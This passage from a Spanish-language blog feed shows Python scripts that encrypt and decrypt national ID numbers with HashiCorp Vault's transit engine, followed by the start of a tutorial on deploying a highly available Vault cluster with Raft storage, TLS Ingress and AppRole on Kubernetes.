<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750104742136/9d33513f-df64-4aba-8fe5-473b723f9b48.png" alt class="image--center mx-auto" /></p>
<p>Creamos el AppRole y la asociamos.</p>
<pre><code class="lang-bash">vault auth <span class="hljs-built_in">enable</span> approle
</code></pre>
<pre><code class="lang-bash">vault write auth/approle/role/python-app \
  token_policies=<span class="hljs-string">"transit-app"</span> \
  token_ttl=1h \
  token_max_ttl=4h
</code></pre>
<blockquote>
<h3 id="heading-por-que-es-util">🧠 ¿Por qué es útil?</h3>
<ul>
<li><p>Estás limitando el tiempo de vida del token, lo que <strong>reduce el impacto si es comprometido</strong>.</p>
</li>
<li><p>Asignás una <strong>política clara y específica</strong> (<code>transit-app</code>), evitando privilegios excesivos.</p>
</li>
<li><p>Te permite mantener el control desde el lado de Vault, y no desde la aplicación.</p>
</li>
</ul>
</blockquote>
<h4 id="heading-obtenemos-role-id-y-secret-id">🔐 Obtenemos Role ID y Secret ID</h4>
<pre><code class="lang-bash">vault <span class="hljs-built_in">read</span> auth/approle/role/python-app/role-id
vault write -f auth/approle/role/python-app/secret-id
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750103814036/7c28c294-3edc-40ba-af2c-0518a04a3e40.png" alt class="image--center mx-auto" /></p>
<p>Guardamos el role-id y el secret-id.</p>
<p>Ahora vamos a ver la aplicacion de Python para poder insertar cifrado el DNI, se las dejo aca.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> mysql.connector
<span class="hljs-keyword">import</span> base64
<span class="hljs-keyword">from</span> dotenv <span class="hljs-keyword">import</span> load_dotenv

<span class="hljs-comment"># Cargar .env</span>
load_dotenv()

<span class="hljs-comment"># ======== CONFIG ========</span>
VAULT_ADDR = os.getenv(<span class="hljs-string">"VAULT_ADDR"</span>, <span class="hljs-string">"https://vault.esprueba.com"</span>)
ROLE_ID = os.getenv(<span class="hljs-string">"VAULT_ROLE_ID"</span>)
SECRET_ID = os.getenv(<span class="hljs-string">"VAULT_SECRET_ID"</span>)
TRANSIT_KEY_NAME = <span class="hljs-string">"dni-key"</span>

MYSQL_HOST = <span class="hljs-string">"127.0.0.1"</span>
MYSQL_PORT = <span class="hljs-number">3306</span>
MYSQL_USER = <span class="hljs-string">"admin"</span>
MYSQL_PASSWORD = <span class="hljs-string">"TUPASS"</span>
MYSQL_DATABASE = <span class="hljs-string">"appdb"</span>

<span class="hljs-comment"># ======== VAULT AUTH ========</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_vault_token</span>():</span>
    url = <span class="hljs-string">f"<span class="hljs-subst">{VAULT_ADDR}</span>/v1/auth/approle/login"</span>
    headers = {<span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"application/json"</span>}
    data = {<span class="hljs-string">"role_id"</span>: ROLE_ID, <span class="hljs-string">"secret_id"</span>: SECRET_ID}
    <span class="hljs-keyword">try</span>:
        resp = requests.post(url, headers=headers, json=data, timeout=<span class="hljs-number">10</span>)
        resp.raise_for_status()
        token = resp.json()[<span class="hljs-string">"auth"</span>][<span class="hljs-string">"client_token"</span>]
        <span class="hljs-keyword">return</span> token
    <span class="hljs-keyword">except</span> requests.exceptions.RequestException <span class="hljs-keyword">as</span> e:
        print(<span class="hljs-string">"❌ Error autenticando en Vault:"</span>, e)
        exit(<span class="hljs-number">1</span>)

<span class="hljs-comment"># ======== VAULT ENCRYPT ========</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt_dni</span>(<span class="hljs-params">vault_token, dni</span>):</span>
    url = <span class="hljs-string">f"<span class="hljs-subst">{VAULT_ADDR}</span>/v1/transit/encrypt/<span class="hljs-subst">{TRANSIT_KEY_NAME}</span>"</span>
    headers = {<span class="hljs-string">"X-Vault-Token"</span>: vault_token}
    dni_b64 = base64.b64encode(dni.encode(<span class="hljs-string">"utf-8"</span>)).decode(<span class="hljs-string">"utf-8"</span>)
    data = {<span class="hljs-string">"plaintext"</span>: dni_b64}
    <span class="hljs-keyword">try</span>:
        resp = requests.post(url, headers=headers, json=data)
        resp.raise_for_status()
        <span class="hljs-keyword">return</span> resp.json()[<span class="hljs-string">"data"</span>][<span class="hljs-string">"ciphertext"</span>]
    <span class="hljs-keyword">except</span> requests.exceptions.RequestException <span class="hljs-keyword">as</span> e:
        print(<span class="hljs-string">"❌ Error cifrando DNI:"</span>, e)
        exit(<span class="hljs-number">1</span>)

<span class="hljs-comment"># ======== MYSQL INSERT ========</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">insertar_usuario</span>(<span class="hljs-params">nombre, apellido, dni_cifrado</span>):</span>
    <span class="hljs-keyword">try</span>:
        conn = mysql.connector.connect(
            host=MYSQL_HOST,
            port=MYSQL_PORT,
            user=MYSQL_USER,
            password=MYSQL_PASSWORD,
            database=MYSQL_DATABASE
        )
        cursor = conn.cursor()
        cursor.execute(
            <span class="hljs-string">"INSERT INTO usuarios (nombre, apellido, dni_cifrado) VALUES (%s, %s, %s)"</span>,
            (nombre, apellido, dni_cifrado)
        )
        conn.commit()
        conn.close()
        print(<span class="hljs-string">f"✅ Usuario '<span class="hljs-subst">{nombre}</span> <span class="hljs-subst">{apellido}</span>' insertado correctamente."</span>)
    <span class="hljs-keyword">except</span> mysql.connector.Error <span class="hljs-keyword">as</span> err:
        print(<span class="hljs-string">"❌ Error al conectar con MySQL:"</span>, err)
        exit(<span class="hljs-number">1</span>)

<span class="hljs-comment"># ======== VALIDACIÓN DNI ========</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pedir_dni</span>():</span>
    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
        dni = input(<span class="hljs-string">"🪪 Ingresá el DNI (8 dígitos): "</span>).strip()
        <span class="hljs-keyword">if</span> dni.isdigit() <span class="hljs-keyword">and</span> len(dni) == <span class="hljs-number">8</span>:
            <span class="hljs-keyword">return</span> dni
        print(<span class="hljs-string">"❌ DNI inválido. Debe tener exactamente 8 dígitos numéricos."</span>)

<span class="hljs-comment"># ======== MAIN ========</span>
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    print(<span class="hljs-string">"🚀 Iniciando carga de usuario..."</span>)
    nombre = input(<span class="hljs-string">"🧑 Ingresá el nombre: "</span>).strip()
    apellido = input(<span class="hljs-string">"🧑 Ingresá el apellido: "</span>).strip()
    dni = pedir_dni()

    print(<span class="hljs-string">"🔐 Autenticando con Vault..."</span>)
    token = get_vault_token()

    print(<span class="hljs-string">"🔒 Cifrando DNI..."</span>)
    dni_cifrado = encrypt_dni(token, dni)

    print(<span class="hljs-string">"💾 Insertando en base de datos..."</span>)
    insertar_usuario(nombre, apellido, dni_cifrado)
</code></pre>
<p>La ejecutamos y uala! Vamos a revisar como impacto en la base de datos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750104408561/1d83b686-b1aa-47da-b37a-bbff88b80f85.png" alt class="image--center mx-auto" /></p>
<p>Ahora les dejo el codigo, para poder revisar el campo.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> mysql.connector
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> base64
<span class="hljs-keyword">from</span> dotenv <span class="hljs-keyword">import</span> load_dotenv

<span class="hljs-comment"># ======== CONFIGURACIÓN ========</span>
load_dotenv()

VAULT_ADDR = os.getenv(<span class="hljs-string">"VAULT_ADDR"</span>, <span class="hljs-string">"https://vault.esprueba.com"</span>)
ROLE_ID = os.getenv(<span class="hljs-string">"VAULT_ROLE_ID"</span>)
SECRET_ID = os.getenv(<span class="hljs-string">"VAULT_SECRET_ID"</span>)
VAULT_KEY = <span class="hljs-string">"dni-key"</span>

DB_HOST = os.getenv(<span class="hljs-string">"DB_HOST"</span>, <span class="hljs-string">"127.0.0.1"</span>)
DB_PORT = int(os.getenv(<span class="hljs-string">"DB_PORT"</span>, <span class="hljs-number">3306</span>))
DB_USER = os.getenv(<span class="hljs-string">"DB_USER"</span>, <span class="hljs-string">"admin"</span>)
DB_PASSWORD = os.getenv(<span class="hljs-string">"DB_PASSWORD"</span>, <span class="hljs-string">"TUPASS"</span>)
DB_NAME = os.getenv(<span class="hljs-string">"DB_NAME"</span>, <span class="hljs-string">"appdb"</span>)

<span class="hljs-comment"># ======== VAULT ========</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_vault_token</span>():</span>
    print(<span class="hljs-string">"🔐 Autenticando con Vault via AppRole..."</span>)
    <span class="hljs-keyword">try</span>:
        url = <span class="hljs-string">f"<span class="hljs-subst">{VAULT_ADDR}</span>/v1/auth/approle/login"</span>
        payload = {<span class="hljs-string">"role_id"</span>: ROLE_ID, <span class="hljs-string">"secret_id"</span>: SECRET_ID}
        resp = requests.post(url, json=payload)
        resp.raise_for_status()
        print(<span class="hljs-string">"✅ Token obtenido."</span>)
        <span class="hljs-keyword">return</span> resp.json()[<span class="hljs-string">"auth"</span>][<span class="hljs-string">"client_token"</span>]
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        print(<span class="hljs-string">f"❌ Error autenticando con Vault: <span class="hljs-subst">{e}</span>"</span>)
        exit(<span class="hljs-number">1</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt_dni</span>(<span class="hljs-params">vault_token, ciphertext</span>):</span>
    url = <span class="hljs-string">f"<span class="hljs-subst">{VAULT_ADDR}</span>/v1/transit/decrypt/<span class="hljs-subst">{VAULT_KEY}</span>"</span>
    headers = {<span class="hljs-string">"X-Vault-Token"</span>: vault_token}
    payload = {<span class="hljs-string">"ciphertext"</span>: ciphertext}
    <span class="hljs-keyword">try</span>:
        resp = requests.post(url, headers=headers, json=payload)
        resp.raise_for_status()
        plaintext_b64 = resp.json()[<span class="hljs-string">"data"</span>][<span class="hljs-string">"plaintext"</span>]
        dni = base64.b64decode(plaintext_b64).decode(<span class="hljs-string">"utf-8"</span>)
        <span class="hljs-keyword">return</span> dni
    <span class="hljs-keyword">except</span> base64.binascii.Error <span class="hljs-keyword">as</span> e:
        print(<span class="hljs-string">f"⚠️ Base64 decode error: <span class="hljs-subst">{e}</span>"</span>)
        print(<span class="hljs-string">f"🔍 Base64 recibido de Vault: <span class="hljs-subst">{plaintext_b64}</span>"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-string">"&lt;Error al decodificar&gt;"</span>
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        print(<span class="hljs-string">f"❌ Error descifrando con Vault: <span class="hljs-subst">{e}</span>"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-string">"&lt;Error de Vault&gt;"</span>

<span class="hljs-comment"># ======== MYSQL ========</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_usuarios</span>():</span>
    <span class="hljs-keyword">try</span>:
        conn = mysql.connector.connect(
            host=DB_HOST,
            port=DB_PORT,
            user=DB_USER,
            password=DB_PASSWORD,
            database=DB_NAME
        )
        cursor = conn.cursor()
        cursor.execute(<span class="hljs-string">"SELECT nombre, apellido, dni_cifrado FROM usuarios"</span>)
        resultados = cursor.fetchall()
        conn.close()
        <span class="hljs-keyword">return</span> resultados
    <span class="hljs-keyword">except</span> mysql.connector.Error <span class="hljs-keyword">as</span> err:
        print(<span class="hljs-string">"❌ Error al conectar con MySQL:"</span>, err)
        exit(<span class="hljs-number">1</span>)

<span class="hljs-comment"># ======== MAIN ========</span>
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    vault_token = get_vault_token()

    print(<span class="hljs-string">"🔍 Buscando usuarios...\n"</span>)
    <span class="hljs-keyword">for</span> nombre, apellido, cifrado <span class="hljs-keyword">in</span> get_usuarios():
        print(<span class="hljs-string">f"🔎 Descifrando ciphertext de <span class="hljs-subst">{nombre}</span> <span class="hljs-subst">{apellido}</span>..."</span>)
        dni = decrypt_dni(vault_token, cifrado)
        print(<span class="hljs-string">f"👤 <span class="hljs-subst">{nombre}</span> <span class="hljs-subst">{apellido}</span> - 🪪 DNI: <span class="hljs-subst">{dni}</span>"</span>)
</code></pre>
<p>Aca funcionando con ambos programas.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750104554928/bfda9876-b7c8-4ea2-8c43-f88a780cde64.png" alt class="image--center mx-auto" /></p>
<p>Este flujo es una forma sencilla pero potente de aplicar seguridad a nivel de aplicación usando HashiCorp Vault. La tokenización o cifrado a través de Vault con <code>transit</code> garantiza que incluso si la base es comprometida, los datos sensibles no sean legibles sin acceso a Vault.</p>
<p>Espero que les sirva.</p>
]]></content:encoded></item><item><title><![CDATA[Vault en producción: configuración HA con Raft]]></title><description><![CDATA[Desde hace tiempo me han estado preguntando sobre este tema, así que vamos a crear un clúster de Hashicorp Vault, algo fundamental para una empresa moderna. Una bóveda que nos ayudará a gestionar mejor los secretos y también a reducir los costos de n...]]></description><link>https://blog.santiagoagustinfernandez.com/vault-en-produccion-configuracion-ha-con-raft</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/vault-en-produccion-configuracion-ha-con-raft</guid><category><![CDATA[Vault]]></category><category><![CDATA[Python]]></category><category><![CDATA[raft]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Sat, 31 May 2025 16:09:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1748707698495/b3f0d65c-d2d5-498e-be29-f8532316a80c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Desde hace tiempo me han estado preguntando sobre este tema, así que vamos a crear un clúster de <strong>Hashicorp Vault</strong>, algo fundamental para una empresa moderna. Una bóveda que nos ayudará a gestionar mejor los secretos y también a reducir los costos de nuestro uso en la nube.</p>
<p>La idea es tener un <strong>Hashicorp Vault</strong> multinodo con alta disponibilidad, usando <strong>raft</strong> como almacenamiento backend. De esta forma, podremos ofrecer resiliencia, escalabilidad y seguridad. Además, mostraremos cómo conectarnos a través de la interfaz de usuario y cómo las aplicaciones pueden utilizar esos secretos.</p>
<p><strong>HashiCorp Vault</strong> es una herramienta de código abierto diseñada para almacenar y gestionar de forma segura información sensible como secretos (claves API, contraseñas, certificados, etc.), tokens y claves de cifrado. Vault proporciona una interfaz unificada para administrar estos secretos de manera segura en distintos entornos, incluyendo infraestructuras en la nube, aplicaciones y servicios. Es capaz de manejar secretos dinámicos, ofrecer cifrado como servicio y admite diversos métodos de autenticación para controlar el acceso.</p>
<h2 id="heading-preparacion-de-entorno">Preparación de Entorno</h2>
<p>Tengo un cluster con un master y un worker, en Kubernetes. Para esa prueba de concepto, estoy usando <a target="_blank" href="https://ubuntu.com/tutorials/install-a-local-kubernetes-with-microk8s#1-overview">microK8s</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748382102192/4c736c23-0dfb-46bc-90a4-8cfd50998082.png" alt class="image--center mx-auto" /></p>
<p>Esta todo listo para comenzar a trabajar. Vamos a necesitar tener helm, instalado. Corremos los siguientes comandos para agregar y actualizar nuestras fuentes.</p>
<pre><code class="lang-bash">helm repo add hashicorp https://helm.releases.hashicorp.com
helm repo update
</code></pre>
<p>Para tener una idea de que vamos a estar haciendo, les dejo esta grafica.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748605234118/2b1cc779-6f3d-4c7a-860f-064d5242fa1a.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-instalacion-vault-con-raft">Instalación Vault con Raft</h2>
<p>Antes que nada vamos a crear <code>custom-values.yaml</code> para habilitar la alta disponibilidad (HA) y configurar el backend Raft.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">server:</span>
  <span class="hljs-attr">affinity:</span> <span class="hljs-string">""</span>
  <span class="hljs-attr">ha:</span>
    <span class="hljs-attr">enabled:</span> <span class="hljs-literal">true</span>
    <span class="hljs-attr">raft:</span>
      <span class="hljs-attr">enabled:</span> <span class="hljs-literal">true</span>
</code></pre>
<p><strong>HashiCorp Vault</strong> utiliza <strong>Raft</strong> como backend de almacenamiento para garantizar alta disponibilidad, replicación de datos y una fuerte consistencia entre los nodos del clúster. Raft permite que Vault funcione sin dependencias externas, lo que facilita su gestión y escalabilidad, asegurando al mismo tiempo tolerancia a fallos y una recuperación confiable ante fallos.</p>
<p>Aplicamos.</p>
<pre><code class="lang-yaml"><span class="hljs-string">helm</span> <span class="hljs-string">install</span> <span class="hljs-string">vault</span> <span class="hljs-string">hashicorp/vault</span> <span class="hljs-string">-f</span> <span class="hljs-string">custom-values.yaml</span> <span class="hljs-string">--namespace</span> <span class="hljs-string">vault</span> <span class="hljs-string">--create-namespace</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748605660327/93b79261-27a8-4fc8-941e-108b956f8c5a.png" alt class="image--center mx-auto" /></p>
<p>Deberías ver pods con el estado 0/1. Esto indica que los pods de Vault están en ejecución, pero aún no han sido inicializados ni desbloqueados (unsealed).</p>
<p>Vamos a inicializar el vault-0 de la siguiente manera.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">exec</span> <span class="hljs-string">-n</span> <span class="hljs-string">vault</span> <span class="hljs-string">vault-0</span> <span class="hljs-string">--</span> <span class="hljs-string">vault</span> <span class="hljs-string">operator</span> <span class="hljs-string">init</span>
</code></pre>
<p>Ahora tenemos inicializado el pod master.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748605867812/a488b2d5-dd8b-4af9-aea6-2dda11d17558.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>Importante: Guarda estas claves de forma segura, ya vas a necesitarár al menos 3 de ellas para desbloquear (unseal) Vault en caso de un reinicio o de que se vuelva a reseal.</p>
</blockquote>
<p>Desbloquea (unseal) Vault utilizando tres de las claves de desbloqueo en cada pod de Vault. Esto hay que hacerlo en todos los podes vault-0, vault-1 &amp; vault-2.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">exec</span> <span class="hljs-string">-n</span> <span class="hljs-string">vault</span> <span class="hljs-string">vault-0</span> <span class="hljs-string">--</span> <span class="hljs-string">vault</span> <span class="hljs-string">operator</span> <span class="hljs-string">unseal</span> <span class="hljs-string">&lt;Unseal</span> <span class="hljs-string">Key1&gt;</span>
<span class="hljs-string">kubectl</span> <span class="hljs-string">exec</span> <span class="hljs-string">-n</span> <span class="hljs-string">vault</span> <span class="hljs-string">vault-0</span> <span class="hljs-string">--</span> <span class="hljs-string">vault</span> <span class="hljs-string">operator</span> <span class="hljs-string">unseal</span> <span class="hljs-string">&lt;Unseal</span> <span class="hljs-string">Key2&gt;</span>
<span class="hljs-string">kubectl</span> <span class="hljs-string">exec</span> <span class="hljs-string">-n</span> <span class="hljs-string">vault</span> <span class="hljs-string">vault-0</span> <span class="hljs-string">--</span> <span class="hljs-string">vault</span> <span class="hljs-string">operator</span> <span class="hljs-string">unseal</span> <span class="hljs-string">&lt;Unseal</span> <span class="hljs-string">Key3&gt;</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748606194433/7fe6f488-4861-463c-9aab-e3bab743f8f2.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748606339436/418cf296-7279-4f1e-9067-f13d0c4ee4a6.png" alt class="image--center mx-auto" /></p>
<p>Nos queda sumar los demas pods al cluster raft.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">exec</span> <span class="hljs-string">-ti</span> <span class="hljs-string">vault-1</span> <span class="hljs-string">-n</span> <span class="hljs-string">vault</span> <span class="hljs-string">--</span> <span class="hljs-string">vault</span> <span class="hljs-string">operator</span> <span class="hljs-string">raft</span> <span class="hljs-string">join</span> <span class="hljs-string">http://vault-0.vault-internal:8200</span>
</code></pre>
<p>Luego hacemos el unseal.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">exec</span> <span class="hljs-string">-n</span> <span class="hljs-string">vault</span> <span class="hljs-string">vault-1</span> <span class="hljs-string">--</span> <span class="hljs-string">vault</span> <span class="hljs-string">operator</span> <span class="hljs-string">unseal</span> <span class="hljs-string">&lt;Unseal</span> <span class="hljs-string">Key1&gt;</span>
<span class="hljs-string">kubectl</span> <span class="hljs-string">exec</span> <span class="hljs-string">-n</span> <span class="hljs-string">vault</span> <span class="hljs-string">vault-1</span> <span class="hljs-string">--</span> <span class="hljs-string">vault</span> <span class="hljs-string">operator</span> <span class="hljs-string">unseal</span> <span class="hljs-string">&lt;Unseal</span> <span class="hljs-string">Key2&gt;</span>
<span class="hljs-string">kubectl</span> <span class="hljs-string">exec</span> <span class="hljs-string">-n</span> <span class="hljs-string">vault</span> <span class="hljs-string">vault-1</span> <span class="hljs-string">--</span> <span class="hljs-string">vault</span> <span class="hljs-string">operator</span> <span class="hljs-string">unseal</span> <span class="hljs-string">&lt;Unseal</span> <span class="hljs-string">Key3&gt;</span>
</code></pre>
<p>Repetimos esta operación con el <strong>vault-2</strong>.</p>
<p>Una vez que terminamos el trabajo vamos a ver como nos quedo el cluster.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">exec</span> <span class="hljs-string">-ti</span> <span class="hljs-string">vault-0</span> <span class="hljs-string">-n</span> <span class="hljs-string">vault</span> <span class="hljs-string">--</span> <span class="hljs-string">vault</span> <span class="hljs-string">login</span>
<span class="hljs-string">kubectl</span> <span class="hljs-string">exec</span> <span class="hljs-string">-ti</span> <span class="hljs-string">vault-0</span> <span class="hljs-string">-n</span> <span class="hljs-string">vault</span> <span class="hljs-string">--</span> <span class="hljs-string">vault</span> <span class="hljs-string">operator</span> <span class="hljs-string">raft</span> <span class="hljs-string">list-peers</span>
</code></pre>
<p>Uala! Tenemos el “lider” y los seguidores.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748699958665/8d984fa5-5910-4f12-9972-3ab4aad49e19.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748729900141/3e412d70-f368-497b-b6ae-ff2141131631.png" alt class="image--center mx-auto" /></p>
<p>Verificamos el estado de todos nuestros pods. Y vemos que estan listos para ser utilizados.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748700020883/47fde22f-4035-4277-ad44-16f284e98c54.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-ingress-a-vault">Ingress a Vault</h2>
<p>Para exponer la interfaz web (UI) de HashiCorp Vault mediante Ingress y asegurarla con TLS, seguí estos pasos. Asegurate de tener <strong>Cert-Manager</strong> instalado para gestionar la provisión de certificados a través de <strong>Let’s Encrypt</strong>. Si no sabes como hacerlo, podes revisar <a target="_blank" href="https://medium.com/@bhojeshwar.sahu/lets-encrypt-certificate-using-cert-manager-on-a-kubernetes-cluster-a851c3a67950">aca</a>.</p>
<p>Voy agregar el Token, que necesito de <strong>Cloudflare</strong>, en el Cluster.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">create</span> <span class="hljs-string">secret</span> <span class="hljs-string">generic</span> <span class="hljs-string">cloudflare-api-token-secret</span> <span class="hljs-string">\</span>
  <span class="hljs-string">--namespace</span> <span class="hljs-string">cert-manager</span> <span class="hljs-string">\</span>
  <span class="hljs-string">--from-literal=api-token="TOKEN"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748700619896/bd4345f6-fc57-4999-8cf8-4ff3b8e0bb92.png" alt class="image--center mx-auto" /></p>
<p>Vamos a crear nuestro <code>cloudflare-clusterissuer.yaml</code> y realizar el challange.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">cert-manager.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">ClusterIssuer</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">letsencrypt-dns-cloudflare</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">acme:</span>
    <span class="hljs-attr">email:</span> <span class="hljs-string">TUMAIL</span>
    <span class="hljs-attr">server:</span> <span class="hljs-string">https://acme-v02.api.letsencrypt.org/directory</span>
    <span class="hljs-attr">privateKeySecretRef:</span>
      <span class="hljs-attr">name:</span> <span class="hljs-string">letsencrypt-dns-cloudflare-key</span>
    <span class="hljs-attr">solvers:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">dns01:</span>
          <span class="hljs-attr">cloudflare:</span>
            <span class="hljs-attr">email:</span> <span class="hljs-string">TUMAIL</span>
            <span class="hljs-attr">apiTokenSecretRef:</span>
              <span class="hljs-attr">name:</span> <span class="hljs-string">cloudflare-api-token-secret</span>
              <span class="hljs-attr">key:</span> <span class="hljs-string">api-token</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748703624467/443e351d-4743-470c-8130-9ce5bd8422b5.png" alt class="image--center mx-auto" /></p>
<p>Ahora si! Vamos aplicar el <code>ingress-vault.yaml</code>.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Ingress</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">vault-ingress</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">vault</span>
  <span class="hljs-attr">annotations:</span>
    <span class="hljs-attr">cert-manager.io/cluster-issuer:</span> <span class="hljs-string">letsencrypt-dns-cloudflare</span>
    <span class="hljs-attr">nginx.ingress.kubernetes.io/ssl-redirect:</span> <span class="hljs-string">"true"</span>
    <span class="hljs-attr">nginx.ingress.kubernetes.io/backend-protocol:</span> <span class="hljs-string">"HTTP"</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">ingressClassName:</span> <span class="hljs-string">nginx</span>
  <span class="hljs-attr">rules:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">host:</span> <span class="hljs-string">vault.esprueba.com</span>
      <span class="hljs-attr">http:</span>
        <span class="hljs-attr">paths:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-attr">path:</span> <span class="hljs-string">/</span>
            <span class="hljs-attr">pathType:</span> <span class="hljs-string">Prefix</span>
            <span class="hljs-attr">backend:</span>
              <span class="hljs-attr">service:</span>
                <span class="hljs-attr">name:</span> <span class="hljs-string">vault</span> <span class="hljs-comment"># Ojo aca, puede ser que sea vault-ui</span>
                <span class="hljs-attr">port:</span>
                  <span class="hljs-attr">number:</span> <span class="hljs-number">8200</span>
  <span class="hljs-attr">tls:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">hosts:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">vault.esprueba.com</span>
      <span class="hljs-attr">secretName:</span> <span class="hljs-string">vault-tls</span>
</code></pre>
<p>Listo! Ya esta con interfaz!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748703712793/049629b0-cdb7-4877-ab4f-fbefe992f5eb.png" alt class="image--center mx-auto" /></p>
<p>Siguiendo estos pasos, has configurado con éxito un clúster de HashiCorp Vault de múltiples nodos con alta disponibilidad, utilizando Raft para la replicación y consistencia de los datos. Esta configuración garantiza que tu sistema de gestión de secretos sea resiliente, escalable y seguro sobre Kubernetes. Al exponer la interfaz web de Vault de forma segura mediante Ingress, la administración y monitoreo de secretos se vuelve aún más ágil.</p>
<h2 id="heading-implementacion">Implementación</h2>
<p>Nos vamos a autenticar y generar unos secretos para consumir.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">exec</span> <span class="hljs-string">-ti</span> <span class="hljs-string">vault-0</span> <span class="hljs-string">-n</span> <span class="hljs-string">vault</span> <span class="hljs-string">--</span> <span class="hljs-string">vault</span> <span class="hljs-string">login</span>
<span class="hljs-string">vault</span> <span class="hljs-string">secrets</span> <span class="hljs-string">enable</span> <span class="hljs-string">-path=secret</span> <span class="hljs-string">kv</span>
<span class="hljs-string">vault</span> <span class="hljs-string">kv</span> <span class="hljs-string">put</span> <span class="hljs-string">secret/demo</span> <span class="hljs-string">username=santiago</span> <span class="hljs-string">password=supersecreto</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748705162136/43b4bd39-a740-4ffd-a75a-5e45dd27d694.png" alt class="image--center mx-auto" /></p>
<p>Ahora vamos a generar el código para consumirlo. Voy hacer algo sencillo en Python. Pero antes tengo que crear un Rol, que tenga permisos para consumirlo.</p>
<pre><code class="lang-yaml"><span class="hljs-string">vault</span> <span class="hljs-string">policy</span> <span class="hljs-string">write</span> <span class="hljs-string">read-secret</span> <span class="hljs-bullet">-</span> <span class="hljs-string">&lt;&lt;EOF</span>
<span class="hljs-string">path</span> <span class="hljs-string">"secret/demo"</span> {
  <span class="hljs-string">capabilities</span> <span class="hljs-string">=</span> [<span class="hljs-string">"read"</span>]
}
<span class="hljs-string">EOF</span>
</code></pre>
<p>Esto otorga permiso solo para leer <code>secret/demo</code>. Ahora habilitamos el AppRole.</p>
<pre><code class="lang-yaml"><span class="hljs-string">vault</span> <span class="hljs-string">auth</span> <span class="hljs-string">enable</span> <span class="hljs-string">approle</span>
</code></pre>
<p>Creamos el AppRole con tokens validos por 1 hora y renovables cada 4 horas. Lo vamos a llamar <code>python-reader</code>.</p>
